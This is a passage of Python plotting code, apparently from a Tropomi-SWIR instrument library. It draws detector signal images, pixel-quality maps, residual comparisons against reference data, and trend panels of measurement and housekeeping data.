get_xdata(msm_1.coords[xlabel].values, use_steps)\n\n            qc_dict = {'bad': cset.yellow,\n                       'worst': cset.red}\n            ql_dict = {'bad': 'bad (quality < 0.8)',\n                       'worst': 'worst (quality < 0.1)'}\n\n            for key in ['bad', 'worst']:\n                ydata = msm_1.values[key].copy().astype(float)\n                for indx in reversed(gap_list):\n                    ydata = np.insert(ydata, indx, np.nan)\n                    ydata = np.insert(ydata, indx, np.nan)\n                    ydata = np.insert(ydata, indx, ydata[indx-1])\n\n                if use_steps:\n                    ydata = np.append(ydata, ydata[-1])\n                    axarr[i_ax].step(xdata, ydata, where='post',\n                                     linewidth=1.5, color=qc_dict[key])\n                else:\n                    axarr[i_ax].plot(xdata, ydata,\n                                     linewidth=1.5, color=qc_dict[key])\n\n                axarr[i_ax].set_xlim([xdata[0], xdata[-1]])\n                axarr[i_ax].grid(True)\n                axarr[i_ax].set_ylabel('count')\n                legenda = axarr[i_ax].legend([blank_legend_key()],\n                                             [ql_dict[key]], loc='upper left')\n                legenda.draw_frame(False)\n                i_ax += 1\n\n        if plot_mode == 'data':\n            for msm in (msm_1, msm_2):\n                if msm is None:\n                    continue\n\n                # convert units from electrons to ke, Me, ...\n                vmin = msm.values.min()\n                vmax = msm.values.max()\n                self.set_zunit(msm.attrs['units'])\n                dscale = self.__adjust_zunit(vmin, vmax)\n\n                use_steps = msm.values.size <= 256\n                (xlabel,) = msm.dims\n                xdata, gap_list = get_xdata(msm.coords[xlabel].values,\n                                            use_steps)\n                ydata = msm.values.copy() / dscale\n                for indx in reversed(gap_list):\n                    ydata = np.insert(ydata, indx, np.nan)\n                    ydata = np.insert(ydata, indx, np.nan)\n                    ydata = np.insert(ydata, indx, ydata[indx-1])\n\n                if use_steps:\n                    ydata = np.append(ydata, ydata[-1])\n                    axarr[i_ax].step(xdata, ydata, where='post',\n                                     linewidth=1.5, color=cset.blue)\n                else:\n                    axarr[i_ax].plot(xdata, ydata,\n                                     linewidth=1.5, color=cset.blue)\n\n                axarr[i_ax].set_xlim([xdata[0], xdata[-1]])\n                axarr[i_ax].grid(True)\n                if self.zunit is None or self.zunit == '1':\n                    axarr[i_ax].set_ylabel(msm.attrs[\"long_name\"])\n                else:\n                    axarr[i_ax].set_ylabel(\n                        f'{msm.attrs[\"long_name\"]} [{self.zunit}]')\n                i_ax += 1\n\n        return i_ax\n\n    @staticmethod\n    def __add_hkdata(i_ax, axarr, hk_data, hk_keys):\n        \"\"\"\n        Add house-keeping information for method draw_trend1d\n\n        Notes\n        -----\n         - This method is used by: draw_trend1d\n        \"\"\"\n        # define colors\n        cset = tol_cset('bright')\n\n        xlabel = hk_data['hk_mean'].dims[0]\n        if xlabel == 'days':\n            xlabel = hk_data['hk_mean'].dims[1]\n        xdata = hk_data['hk_mean'].coords[xlabel].values\n        use_steps = xdata.size <= 256\n        xdata, gap_list = get_xdata(xdata, use_steps)\n        if xlabel == 'time':\n            xdata = xdata.astype(float) / 3600\n\n        for key in hk_keys:\n            if key not in hk_data['hk_mean'].values.dtype.names:\n                continue\n\n            indx = hk_data['hk_mean'].values.dtype.names.index(key)\n            hk_unit = hk_data.attrs['units'][indx]\n            if isinstance(hk_unit, bytes):\n                hk_unit = hk_unit.decode('ascii')\n            full_string = hk_data.attrs['long_name'][indx]\n            if isinstance(full_string, bytes):\n                full_string = full_string.decode('ascii')\n            if hk_unit == 'K':\n                hk_name = full_string.rsplit(' ', 1)[0]\n                hk_label = f'temperature [{hk_unit}]'\n                lcolor = cset.blue\n                fcolor = '#BBCCEE'\n            elif hk_unit in ('A', 'mA'):\n                hk_name = full_string.rsplit(' ', 1)[0]\n                hk_label = f'current [{hk_unit}]'\n                lcolor = cset.green\n                fcolor = '#CCDDAA'\n            elif hk_unit == '%':\n                hk_name = full_string.rsplit(' ', 2)[0]\n                hk_label = f'duty cycle [{hk_unit}]'\n                lcolor = cset.red\n                fcolor = '#FFCCCC'\n            else:\n                hk_name = full_string\n                hk_label = f'value [{hk_unit}]'\n                lcolor = cset.purple\n                fcolor = '#EEBBDD'\n\n            if len(hk_data['hk_mean'].dims) == 2:\n                ydata = hk_data['hk_mean'].values[key][0, :].copy()\n                yerr1 = hk_data['hk_range'].values[key][0, :, 0].copy()\n                yerr2 = hk_data['hk_range'].values[key][0, :, 1].copy()\n            else:\n                ydata = hk_data['hk_mean'].values[key].copy()\n                yerr1 = hk_data['hk_range'].values[key][:, 0].copy()\n                yerr2 = hk_data['hk_range'].values[key][:, 1].copy()\n            for indx in reversed(gap_list):\n                ydata = np.insert(ydata, indx, np.nan)\n                yerr1 = np.insert(yerr1, indx, np.nan)\n                yerr2 = np.insert(yerr2, indx, np.nan)\n                ydata = np.insert(ydata, indx, np.nan)\n                yerr1 = np.insert(yerr1, indx, np.nan)\n                yerr2 = np.insert(yerr2, indx, np.nan)\n                ydata = np.insert(ydata, indx, ydata[indx-1])\n                yerr1 = np.insert(yerr1, indx, yerr1[indx-1])\n                yerr2 = np.insert(yerr2, indx, yerr2[indx-1])\n\n            if np.all(np.isnan(ydata)):\n                ydata[:] = 0\n                yerr1[:] = 0\n                yerr2[:] = 0\n\n            if use_steps:\n                ydata = np.append(ydata, ydata[-1])\n                yerr1 = np.append(yerr1, yerr1[-1])\n                yerr2 = np.append(yerr2, yerr2[-1])\n                axarr[i_ax].step(xdata, ydata, where='post',\n                                 linewidth=1.5, color=lcolor)\n            else:\n                axarr[i_ax].plot(xdata, ydata,\n                                 linewidth=1.5, color=lcolor)\n            # we are interested to see the last 2 days of the data,\n            # and any trend over the whole data, without outliers\n            ylim = None\n            ybuff = ydata[np.isfinite(ydata)]\n            if xlabel == 'orbit' and ybuff.size > 5 * 15:\n                ni = 2 * 15\n                ylim = [min(ybuff[0:ni].min(), ybuff[-ni:].min()),\n                        max(ybuff[0:ni].max(), ybuff[-ni:].max())]\n            if not (np.array_equal(ydata, yerr1)\n                    and np.array_equal(ydata, yerr2)):\n                axarr[i_ax].fill_between(xdata, yerr1, yerr2,\n                                         step='post', facecolor=fcolor)\n                ybuff1 = yerr1[np.isfinite(yerr1)]\n                ybuff2 = yerr2[np.isfinite(yerr2)]\n                if xlabel == 'orbit' \\\n                   and ybuff1.size > 5 * 15 and ybuff2.size > 5 * 15:\n                    ni = 2 * 15\n                    ylim = [min(ybuff1[0:ni].min(), ybuff1[-ni:].min()),\n                            max(ybuff2[0:ni].max(), ybuff2[-ni:].max())]\n            axarr[i_ax].locator_params(axis='y', nbins=4)\n            axarr[i_ax].set_xlim([xdata[0], xdata[-1]])\n            if ylim is not None:\n                delta = (ylim[1] - ylim[0]) / 5\n                if delta == 0:\n                    if ylim[0] == 0:\n                        delta = 0.01\n                    else:\n                        delta = ylim[0] / 20\n                axarr[i_ax].set_ylim([ylim[0] - delta, ylim[1] + delta])\n            axarr[i_ax].grid(True)\n            axarr[i_ax].set_ylabel(hk_label)\n            legenda = axarr[i_ax].legend([blank_legend_key()],\n                                         [hk_name], loc='upper left')\n            legenda.draw_frame(False)\n            i_ax += 1\n\n    def __add_side_panels(self, ax_fig, img_data, coords, quality=None):\n        \"\"\"\n        Draw row and column medians left and below image panel\n\n        Notes\n        -----\n         - This method is used by: draw_signal, draw_quality\n        \"\"\"\n        cset = tol_cset('bright')\n\n        for xtl in ax_fig.get_xticklabels():\n            xtl.set_visible(False)\n        for ytl in ax_fig.get_yticklabels():\n            ytl.set_visible(False)\n\n        # ----- Panel bellow the image -----\n        ax_medx = self.__divider.append_axes(\"bottom\", 1.15, pad=0.25,\n                                             sharex=ax_fig)\n        if quality is None:\n            data_row = biweight(img_data, axis=0)\n            if len(coords['X']['data']) > 250:\n                ax_medx.plot(coords['X']['data'], data_row, linewidth=0.75,\n                             color=cset.blue)\n            else:\n                ax_medx.step(coords['X']['data'], data_row, linewidth=0.75,\n                             color=cset.blue)\n        else:\n            data_row = np.sum(((img_data == 1) | (img_data == 2)), axis=0)\n            ax_medx.step(coords['X']['data'], data_row, linewidth=0.75,\n                         color=cset.yellow)\n            data_row = np.sum((img_data == 1), axis=0)          # worst\n            ax_medx.step(coords['X']['data'], data_row, linewidth=0.75,\n                         color=cset.red)\n            if quality['compare']:\n                data_row = np.sum((img_data == 4), axis=0)      # to_good\n                ax_medx.step(coords['X']['data'], data_row, linewidth=0.75,\n                             color=cset.green)\n        ax_medx.set_xlim([0, len(coords['X']['data'])])\n        ax_medx.grid(True)\n        ax_medx.set_xlabel(coords['X']['label'])\n\n        # ----- Panel left of the image -----\n        ax_medy = self.__divider.append_axes(\"left\", 1.15, pad=0.25,\n                                             sharey=ax_fig)\n        if quality is None:\n            data_col = biweight(img_data, axis=1)\n            if len(coords['Y']['data']) > 250:\n                ax_medy.plot(data_col, coords['Y']['data'], linewidth=0.75,\n                             color=cset.blue)\n            else:\n                ax_medy.step(data_col, coords['Y']['data'], linewidth=0.75,\n                             color=cset.blue)\n        else:\n            data_col = np.sum(((img_data == 1) | (img_data == 2)), axis=1)\n            ax_medy.step(data_col, coords['Y']['data'], linewidth=0.75,\n                         color=cset.yellow)\n            data_col = np.sum(img_data == 1, axis=1)            # worst\n            ax_medy.step(data_col, coords['Y']['data'], linewidth=0.75,\n                         color=cset.red)\n            if quality['compare']:\n                data_col = np.sum(img_data == 4, axis=1)        # to_good\n                ax_medy.step(data_col, coords['Y']['data'], linewidth=0.75,\n                             color=cset.green)\n        ax_medy.set_ylim([0, len(coords['Y']['data'])])\n        ax_medy.grid(True)\n        ax_medy.set_ylabel(coords['Y']['label'])\n\n    # -------------------------\n    @staticmethod\n    def __fig_sz_img(fig_info, data_dims):\n        \"\"\"\n        Define figure size depended on image aspect-ratio\n\n        Notes\n        -----\n         - This method is used by: draw_signal, draw_quality\n        \"\"\"\n        fig_ext = 3.5 if fig_info.location == 'right' else 0\n\n        # determine image aspect ratio, range [1, 4]\n        aspect = min(4, max(1, int(round(data_dims[1] / data_dims[0]))))\n\n        if aspect == 1:\n            figsize = (11 + fig_ext, 9.5)\n        elif aspect == 2:\n            figsize = (12 + fig_ext, 7.4)\n        elif aspect == 3:\n            figsize = (13 + fig_ext, 6.35)\n        elif aspect == 4:\n            figsize = (14 + fig_ext, 6)\n        else:\n            print(__name__ + '.draw_signal', aspect)\n            raise ValueError('*** FATAL: aspect ratio out of range')\n\n        return figsize\n\n    # -------------------------\n    @staticmethod\n    def __get_fig_data2d(zscale: str, data_in, ref_data=None):\n        \"\"\"\n        Determine image data to be displayed\n        \"\"\"\n        # check image data\n        try:\n            check_data2d(zscale, data_in)\n        except Exception as exc:\n            raise RuntimeError('invalid input-data provided') from exc\n\n        if zscale == 'linear' or ref_data is None:\n            if isinstance(data_in, np.ndarray):\n                return data_in.copy()\n\n            return data_in.values.copy()\n\n        # check reference data\n        try:\n            check_data2d(zscale, ref_data)\n        except Exception as exc:\n            raise RuntimeError('invalid reference-data provided') from exc\n\n        # assume that zscale='diff'\n        if isinstance(data_in, np.ndarray):\n            return data_in - ref_data\n\n        return data_in.values - ref_data\n\n    def __scale_data2d(self, zscale: str, img_data, vperc, vrange):\n        \"\"\"\n        Determine range of image data and normalize colormap accordingly\n        \"\"\"\n        # define data-range\n        if vrange is None:\n            vmin, vmax = np.nanpercentile(img_data, vperc)\n        else:\n            vmin, vmax = vrange\n\n        # convert units from electrons to ke, Me, ...\n        dscale = self.__adjust_zunit(vmin, vmax)\n        if not issubclass(img_data.dtype.type, np.integer):\n            vmin /= dscale\n            vmax /= dscale\n            img_data[np.isfinite(img_data)] /= dscale\n\n        mid_val = (vmin + vmax) / 2\n        if zscale == 'diff':\n            if vmin < 0 < vmax:\n                tmp1, tmp2 = (vmin, vmax)\n                vmin = -max(-tmp1, tmp2)\n                vmax = max(-tmp1, tmp2)\n                mid_val = 0.\n        elif zscale == 'ratio':\n            if vmin < 1 < vmax:\n                tmp1, tmp2 = (vmin, vmax)\n                vmin = min(tmp1, 1 / tmp2)\n                vmax = max(1 / tmp1, tmp2)\n                mid_val = 1.\n        elif zscale == 'log':\n            raise KeyError('Not implemented yet')\n\n        return MidpointNormalize(midpoint=mid_val, vmin=vmin, vmax=vmax)\n\n    # -------------------------\n    @staticmethod\n    def __set_fig_quality(qthres, data, ref_data=None):\n        \"\"\"\n        Check pixel-quality data and convert to quality classes\n\n        Quality classes without reference data:\n         [good]:   value=4\n         [bad]:    value=2\n         [worst]:  value=1\n         [unused]: value=0\n\n        Quality classes with reference data:\n         [unchanged]:   value=8\n         [to_good]:     value=4\n         [good_to_bad]: value=2\n         [to_worst]:    value=1\n         [unused]:      value=0\n        Note: ignored are [worst_to_bad]\n        \"\"\"\n        def float_to_quality(qthres, arr):\n            \"\"\"\n            Convert float value [0, 1] to quality classes\n            \"\"\"\n            res = np.empty(arr.shape, dtype='i1')\n            res[arr >= qthres['bad']] = 4\n            res[(arr > qthres['worst']) & (arr < qthres['bad'])] = 2\n            res[arr <= qthres['worst']] = 1\n            res[~swir_region.mask()] = 0\n            return res\n\n        # check image data\n        try:\n            check_data2d('quality', data)\n        except Exception as exc:\n            raise RuntimeError('invalid input-data provided') from exc\n\n        if isinstance(data, np.ndarray):\n            qval = float_to_quality(qthres, data)\n        else:\n            qval = float_to_quality(qthres, data.values)\n\n        if ref_data is None:\n            return qval\n\n        # check reference data\n        try:\n            check_data2d('quality', ref_data)\n        except Exception as exc:\n            raise RuntimeError('invalid reference-data provided') from exc\n\n        # return difference with reference\n        qdiff = float_to_quality(qthres, ref_data) - qval\n        qval = np.full_like(qdiff, 8)\n        qval[(qdiff == -2) | (qdiff == -3)] = 4\n        qval[qdiff == 2] = 2\n        qval[(qdiff == 1) | (qdiff == 3)] = 1\n        qval[~swir_region.mask()] = 0\n        return qval\n\n    # --------------------------------------------------\n    def draw_signal(self, data_in, zscale='linear', *,\n                    vperc=None, vrange=None, title=None, sub_title=None,\n                    add_medians=True, extent=None, fig_info=None):\n        \"\"\"\n        Display 2D array data as image and averaged column/row signal plots\n\n        Parameters\n        ----------\n        data :  numpy.ndarray or xarray.DataArray\n           Object holding measurement data and attributes\n        zscale : string, optional\n           Scaling of the data values. Recognized values are: 'linear', 'log',\n           'diff' or 'ratio'. Default is 'linear'\n        vperc :  list\n           Range to normalize luminance data between percentiles min and max of\n           array data. Default is [1., 99.].\n           keyword 'vperc' is ignored when vrange is given\n        vrange :  list [vmin,vmax]\n           Range to normalize luminance data between vmin and vmax.\n        add_medians :  boolean\n           show in side plots row and column (biweight) medians. Default=True.\n        title :  string\n           Title of the figure. Default is None\n           Suggestion: use attribute \"title\" of data-product\n        sub_title :  string\n           Sub-title of the figure. Default is None\n           Suggestion: use attribute \"comment\" of data-product\n        fig_info :  FIGinfo, optional\n           OrderedDict holding meta-data to be displayed in the figure\n\n        The information provided in the parameter 'fig_info' will be displayed\n        in a small box. In addition, we display the creation date and the data\n        (biweight) median & spread.\n        \"\"\"\n        if zscale not in ('linear', 'log', 'diff', 'ratio'):\n            raise RuntimeError(f'unknown zscale: {zscale}')\n\n        if fig_info is None:\n            fig_info = FIGinfo()\n\n        if vrange is None and vperc is None:\n            vperc = (1., 99.)\n        elif vrange is None:\n            if len(vperc) != 2:\n                raise TypeError('keyword vperc requires two values')\n        else:\n            if len(vrange) != 2:\n                raise TypeError('keyword vrange requires two values')\n\n        try:\n            img_data = self.__get_fig_data2d(zscale, data_in)\n        except Exception as exc:\n            raise RuntimeError('invalid input-data provided') from exc\n\n        self.unset_zunit()\n        if not isinstance(data_in, np.ndarray) and zscale != 'ratio':\n            self.set_zunit(data_in.attrs['units'])\n        norm = self.__scale_data2d(zscale, img_data, vperc, vrange)\n\n        # inititalize figure\n        fig, ax_fig = plt.subplots(figsize=self.__fig_sz_img(fig_info,\n                                                             img_data.shape))\n        if title is not None:\n            ypos = 1 - 0.3 / fig.get_figheight()\n            fig.suptitle(title, fontsize='x-large',\n                         position=(0.5, ypos), horizontalalignment='center')\n        if sub_title is not None:\n            ax_fig.set_title(sub_title, fontsize='large')\n\n        # draw image\n        coords = get_fig_coords(data_in)\n        if extent is None:\n            extent = [0, len(coords['X']['data']),\n                      0, len(coords['Y']['data'])]\n        ax_img = ax_fig.imshow(img_data, cmap=self.get_cmap(zscale),\n                               interpolation='none', origin='lower',\n                               aspect='equal', extent=extent, norm=norm)\n        self.__add_copyright(ax_fig)\n\n        # define ticks locations for X & Y valid for most detectors\n        self.__adjust_tickmarks(ax_fig, coords)\n\n        self.__divider = make_axes_locatable(ax_fig)\n        self.__add_colorbar(ax_img, self.__get_zlabel(zscale))\n        if add_medians:\n            self.__add_side_panels(ax_fig, img_data, coords)\n        else:\n            ax_fig.set_xlabel(coords['X']['label'])\n            ax_fig.set_ylabel(coords['Y']['label'])\n\n        # add annotation and save figure\n        median, spread = biweight(img_data, spread=True)\n        if self.zunit is None or self.zunit == '1':\n            fig_info.add('median', median, '{:.5g}')\n            fig_info.add('spread', spread, '{:.5g}')\n        else:\n            fig_info.add('median', (median, self.zunit), '{:.5g} {}')\n            fig_info.add('spread', (spread, self.zunit), '{:.5g} {}')\n\n        self.__add_fig_box(fig, fig_info)\n        self.__close_this_page(fig)\n\n    # --------------------------------------------------\n    def draw_quality(self, data_in, ref_data=None, *,\n                     add_medians=True, thres_worst=0.1, thres_bad=0.8,\n                     qlabels=None, title=None, sub_title=None,\n                     extent=None, fig_info=None):\n        \"\"\"\n        Display pixel-quality 2D array data as image and column/row statistics\n\n        Parameters\n        ----------\n        data :  numpy.ndarray or xarray.DataArray\n           Object holding measurement data and attributes\n        ref_data :  numpy.ndarray, optional\n           Numpy array holding reference data, for example pixel quality\n           reference map taken from the CKD. Shown are the changes with\n           respect to the reference data. Default is None\n        add_medians :  boolean\n           show in side plots row and column (biweight) medians. Default=True.\n\n        thres_worst :  float\n           Threshold to reject only the worst of the bad pixels, intended\n           for CKD derivation. Default=0.1\n        thres_bad :  float\n           Threshold for bad pixels. Default=0.8\n        qlabel : list of strings\n           Labels for the pixel-quality classes, see below\n\n        title :  string\n           Title of the figure. Default is None\n           Suggestion: use attribute \"title\" of data-product\n        sub_title :  string\n           Sub-title of the figure. Default is None\n           Suggestion: use attribute \"comment\" of data-product\n        fig_info :  FIGinfo, optional\n           OrderedDict holding meta-data to be displayed in the figure\n\n        The quality ranking labels are ['unusable', 'worst', 'bad', 'good'],\n        in case nor reference dataset is provided. Where:\n        - 'unusable'  : pixels outside the illuminated region\n        - 'worst'     : 0 <= value < thres_worst\n        - 'bad'       : 0 <= value < thres_bad\n        - 'good'      : thres_bad <= value <= 1\n        Otherwise the labels for quality ranking indicate which pixels have\n        changed w.r.t. reference. The labels are:\n        - 'unusable'  : pixels outside the illuminated region\n        - 'worst'     : from good or bad to worst\n        - 'bad'       : from good to bad\n        - 'good'      : from any rank to good\n        - 'unchanged' : no change in rank\n\n        The information provided in the parameter 'fig_info' will be displayed\n        in a small box. Where creation date and statistics on the number of\n        bad and worst pixels are displayed.\n        \"\"\"\n        if fig_info is None:\n            fig_info = FIGinfo()\n\n        qthres = {'worst': thres_worst, 'bad': thres_bad,\n                  'compare': ref_data is not None}\n        try:\n            qdata = self.__set_fig_quality(qthres, data_in, ref_data)\n        except Exception as exc:\n            raise RuntimeError('invalid input-data provided') from exc\n\n        # define colors, data-range\n        cset = tol_cset('bright')\n        if ref_data is None:\n            if qlabels is None:\n                qlabels = (\"unusable\", \"worst\", \"bad\", \"good\")\n            else:\n                if len(qlabels) != 4:\n                    raise TypeError('keyword qlabels requires four labels')\n\n            # define colors for resp. unusable, worst, bad and good\n            ctuple = (cset.grey, cset.red, cset.yellow, '#FFFFFF')\n            bounds = [0, 1, 2, 4, 8]\n        else:\n            if qlabels is None:\n                qlabels = [\"unusable\", \"to worst\", \"good to bad \", \"to good\",\n                           \"unchanged\"]\n            else:\n                if len(qlabels) != 5:\n                    raise TypeError('keyword qlabels requires five labels')\n\n            # define colors for resp. unusable, worst, bad, good and unchanged\n            ctuple = (cset.grey, cset.red, cset.yellow, cset.green, '#FFFFFF')\n            bounds = [0, 1, 2, 4, 8, 16]\n        cmap = mpl.colors.ListedColormap(ctuple)\n        norm = mpl.colors.BoundaryNorm(bounds, cmap.N)\n\n        # inititalize figure\n        fig, ax_fig = plt.subplots(figsize=self.__fig_sz_img(fig_info,\n                                                             qdata.shape))\n        if title is not None:\n            ypos = 1 - 0.3 / fig.get_figheight()\n            fig.suptitle(title, fontsize='x-large',\n                         position=(0.5, ypos), horizontalalignment='center')\n        if sub_title is not None:\n            ax_fig.set_title(sub_title, fontsize='large')\n\n        # draw image\n        coords = get_fig_coords(data_in)\n        if extent is None:\n            extent = [0, len(coords['X']['data']),\n                      0, len(coords['Y']['data'])]\n        ax_img = ax_fig.imshow(qdata, cmap=cmap, norm=norm,\n                               interpolation='none', origin='lower',\n                               aspect='equal', extent=extent)\n        self.__add_copyright(ax_fig)\n\n        # define ticks locations for X & Y valid for most detectors\n        self.__adjust_tickmarks(ax_fig, coords)\n\n        self.__divider = make_axes_locatable(ax_fig)\n        self.__add_colorbar(ax_img, qlabels, bounds)\n\n        if add_medians:\n            self.__add_side_panels(ax_fig, qdata, coords, quality=qthres)\n        else:\n            ax_fig.set_xlabel(coords['X']['label'])\n            ax_fig.set_ylabel(coords['Y']['label'])\n\n        # add annotation and save figure\n        if ref_data is None:\n            fig_info.add(f'{qlabels[2]} (quality < {thres_bad})',\n                         np.sum((qdata == 1) | (qdata == 2)))\n            fig_info.add(f'{qlabels[1]} (quality < {thres_worst})',\n                         np.sum(qdata == 1))\n        else:\n            fig_info.add(qlabels[3], np.sum(qdata == 4))\n            fig_info.add(qlabels[2], np.sum(qdata == 2))\n            fig_info.add(qlabels[1], np.sum(qdata == 1))\n\n        self.__add_fig_box(fig, fig_info)\n        self.__close_this_page(fig)\n\n    # --------------------------------------------------\n    def draw_cmp_swir(self, data_in, ref_data,\n                      *, vperc=None, vrange=None,\n                      model_label='reference',\n                      add_residual=True, add_model=True,\n                      title=None, sub_title=None,\n                      extent=None, fig_info=None):\n        \"\"\"\n        Display signal vs model (or CKD) comparison in three panels.\n        Top panel shows data, middle panel shows residuals (data - model)\n        and lower panel shows model.\n\n        Parameters\n        ----------\n        data :  numpy.ndarray or xarray.DataArray\n           Object holding measurement data and attributes\n        ref_data :  numpy.ndarray\n           Numpy array holding reference data.\n\n        vperc :  list\n           Range to normalize luminance data between percentiles min and max of\n           array data. Default is [1., 99.].\n           keyword 'vperc' is ignored when vrange is given\n        vrange :  list [vmin,vmax]\n           Range to normalize luminance data between vmin and vmax.\n        model_label :  string\n           Name of reference dataset.  Default is 'reference'\n\n        title :  string\n           Title of the figure. Default is None\n           Suggestion: use attribute \"title\" of data-product\n        sub_title :  string\n           Sub-title of the figure. Default is None\n           Suggestion: use attribute \"comment\" of data-product\n        fig_info :  FIGinfo, optional\n           OrderedDict holding meta-data to be displayed in the figure\n\n        The information provided in the parameter 'fig_info' will be displayed\n        in a small box. In addition, we display the creation date and the data\n        median & spread.\n\n        Note\n        ----\n        Current implementation only works for images with aspect-ratio equals 4\n        (like Tropomi-SWIR).\n        \"\"\"\n        if not (add_residual or add_model):\n            raise KeyError('add_resudual or add_model should be true')\n\n        if fig_info is None:\n            fig_info = FIGinfo()\n\n        if vrange is None and vperc is None:\n            vperc = (1., 99.)\n        elif vrange is None:\n            if len(vperc) != 2:\n                raise TypeError('keyword vperc requires two values')\n        else:\n            if len(vrange) != 2:\n                raise TypeError('keyword vrange requires two values')\n\n        try:\n            img_diff = self.__get_fig_data2d('diff', data_in, ref_data)\n        except Exception as exc:\n            raise RuntimeError('invalid input-data provided') from exc\n\n        self.unset_zunit()\n        if not isinstance(data_in, np.ndarray):\n            self.set_zunit(data_in.attrs['units'])\n\n        median, spread = biweight(img_diff, spread=True)\n        rrange = (median - 5 * spread, median + 5 * spread)\n        rnorm = self.__scale_data2d('diff', img_diff, None, rrange)\n\n        try:\n            img_data = self.__get_fig_data2d('linear', data_in, None)\n        except Exception as exc:\n            raise RuntimeError('invalid input-data provided') from exc\n\n        vnorm = self.__scale_data2d('data', img_data, vperc, vrange)\n\n        # inititalize figure\n        npanel = True + add_residual + add_model\n        if npanel == 3:\n            fig = plt.figure(figsize=(12, 10))\n        else:\n            fig = plt.figure(figsize=(12, 7.5))\n\n        gspec = mpl.gridspec.GridSpec(npanel, 2)\n        if title is not None:\n            ypos = 1 - 0.3 / fig.get_figheight()\n            fig.suptitle(title, fontsize='x-large',\n                         position=(0.5, ypos), horizontalalignment='center')\n\n        coords = get_fig_coords(data_in)\n        if extent is None:\n            extent = [0, len(coords['X']['data']),\n                      0, len(coords['Y']['data'])]\n\n        # create image panel\n        def draw_image(ipanel, data, sub_title, norm, extent):\n            bullet = ['(a) ', '(b) ', '(c) ', None]\n\n            ax_fig = plt.subplot(gspec[ipanel, :])\n            if sub_title is not None:\n                ax_fig.set_title(bullet[ipanel] + sub_title, fontsize='large')\n\n            zscale = 'diff' if sub_title == 'residual' else 'linear'\n            ax_img = ax_fig.imshow(data, cmap=self.get_cmap(zscale),\n                                   interpolation='none', origin='lower',\n                                   aspect='equal', extent=extent, norm=norm,)\n            self.__add_copyright(ax_fig)\n\n            # define ticks locations for X & Y valid for most detectors\n            self.__adjust_tickmarks(ax_fig, coords)\n\n            self.__divider = make_axes_locatable(ax_fig)\n            if sub_title == 'residual':\n                self.__add_colorbar(ax_img, self.__get_zlabel('diff'))\n            else:\n                self.__add_colorbar(ax_img, self.__get_zlabel('data'))\n            if npanel == (ipanel + 1):\n                ax_fig.set_xlabel(coords['X']['label'])\n            else:\n                for xtl in ax_fig.get_xticklabels():\n                    xtl.set_visible(False)\n            ax_fig.set_ylabel(coords['Y']['label'])\n\n        ipanel = 0\n        draw_image(ipanel, img_data, sub_title, vnorm, extent)\n        if add_residual:\n            ipanel += 1\n            draw_image(ipanel, img_diff, 'residual', rnorm, extent)\n        if add_model:\n            ipanel += 1\n            draw_image(ipanel, ref_data, model_label, vnorm, extent)\n\n        # add annotation and save figure\n        median, spread = biweight(img_diff, spread=True)\n        if self.zunit is None or self.zunit == '1':\n            fig_info.add('median', median, '{:.5g}')\n            fig_info.add('spread', spread, '{:.5g}')\n        else:\n            fig_info.add('median', (median, self.zunit), '{:.5g} {}')\n            fig_info.add('spread', (spread, self.zunit), '{:.5g} {}')\n\n        self.__add_fig_box(fig, fig_info)\n        self.__close_this_page(fig)\n\n    # --------------------------------------------------\n    def draw_trend1d(self, msm1, hk_data=None, msm2=None, *, hk_keys=None,\n                     title=None, sub_title=None, fig_info=None):\n        \"\"\"\n        Display trends of measurement and house-keeping data\n\n        Parameters\n        ----------\n        msm1      :  xarray.DataArray, optional\n           Object with measurement data and its HDF5 attributes (first figure)\n        msm2      :  xarray.DataArray, optional\n           Object with measurement data and its HDF5 attributes (second figure)\n        hk_data   :  xarray.Dataset, optional\n           Object holding housekeeping data and its HDF5 attributes\n        hk_keys    : list or tuple\n           List of housekeeping parameters to be displayed\n\n        title      :  string\n           Title of the figure. Default is None\n           Suggestion: use attribute \"title\" of data-product\n        sub_title  :  string\n           Sub-title of the figure. Default is None\n           Suggestion: use attribute \"comment\" of data-product\n        fig_info   :  FIGinfo, optional\n           OrderedDict holding meta-data to be displayed in the figure\n\n        You have to provide a non-None value for parameter 'msm1' or 'hk_data'.\n        Only house-keeping data will be shown when 'msm1' is None (parameter\n        'msm2' is ignored when 'msm1' equals None.\n\n        The information provided in the parameter 'fig_info' will be displayed\n        in a small box.\n        \"\"\"\n        # we require measurement data and/or house-keeping data\n        if msm1 is None and hk_data is None:\n            raise ValueError(\n                'measurement data and/or house-keeping data are required')\n\n        if fig_info is None:\n            fig_info = FIGinfo()\n\n        # make sure that we use 'large' fonts in the small plots\n        if self.__pdf is None:\n            plt.rc('font', size=10)\n\n        # define number of panels for measurement data\n        if msm1 is None:\n            plot_mode = 'house-keeping'\n            if hk_data['hk_mean'].dims[0] == 'days':\n                xlabel = hk_data['hk_mean'].dims[1]\n            else:\n                xlabel = hk_data['hk_mean'].dims[0]\n            if xlabel == 'time':\n                xlabel += ' [hours]'\n            npanels = 0\n        elif (msm1.values.dtype.names is not None\n              and 'bad' in msm1.values.dtype.names):\n            plot_mode = 'quality'\n            (xlabel,) = msm1.dims\n            npanels = 2\n        else:\n            plot_mode = 'data'\n            (xlabel,) = msm1.dims\n            if msm2 is None:\n                npanels = 1\n            else:\n                npanels = 2\n\n        # add panels for housekeeping parameters\n        if hk_data is not None:\n            # default house-keeping parameters\n            if hk_keys is None:\n                if 'detector_temp' in hk_data['avg'].values.dtype.names:\n                    hk_keys = ('detector_temp', 'grating_temp',\n                               'imager_temp', 'obm_temp')\n                elif 'temp_det4' in hk_data['avg'].values.dtype.names:\n                    hk_keys = ('temp_det4', 'temp_obm_swir_grating')\n                else:\n                    hk_keys = tuple(hk_data['avg'].values.dtype.names)[0:4]\n            npanels += len(hk_keys)\n\n        # initialize matplotlib using 'subplots'\n        figsize = (10., 1 + (npanels + 1) * 1.5)\n        fig, axarr = plt.subplots(npanels, sharex=True, figsize=figsize)\n        if npanels == 1:\n            axarr = [axarr]\n        margin = min(1. / (1.8 * (npanels + 1)), .25)\n        fig.subplots_adjust(bottom=margin, top=1-margin, hspace=0.02)\n\n        # draw titles (and put it at the same place)\n        if title is not None:\n            ypos = 1 - 0.3 / fig.get_figheight()\n            fig.suptitle(title, fontsize='x-large',\n                         position=(0.5, ypos), horizontalalignment='center')\n        if sub_title is not None:\n            axarr[0].set_title(sub_title, fontsize='large')\n\n        # add figures with quality data or measurement data\n        i_ax = self.__add_data1d(plot_mode, axarr, msm1, msm2)\n\n        # add figures with house-keeping data\n        if hk_data is not None:\n            self.__add_hkdata(i_ax, axarr, hk_data, hk_keys)\n\n        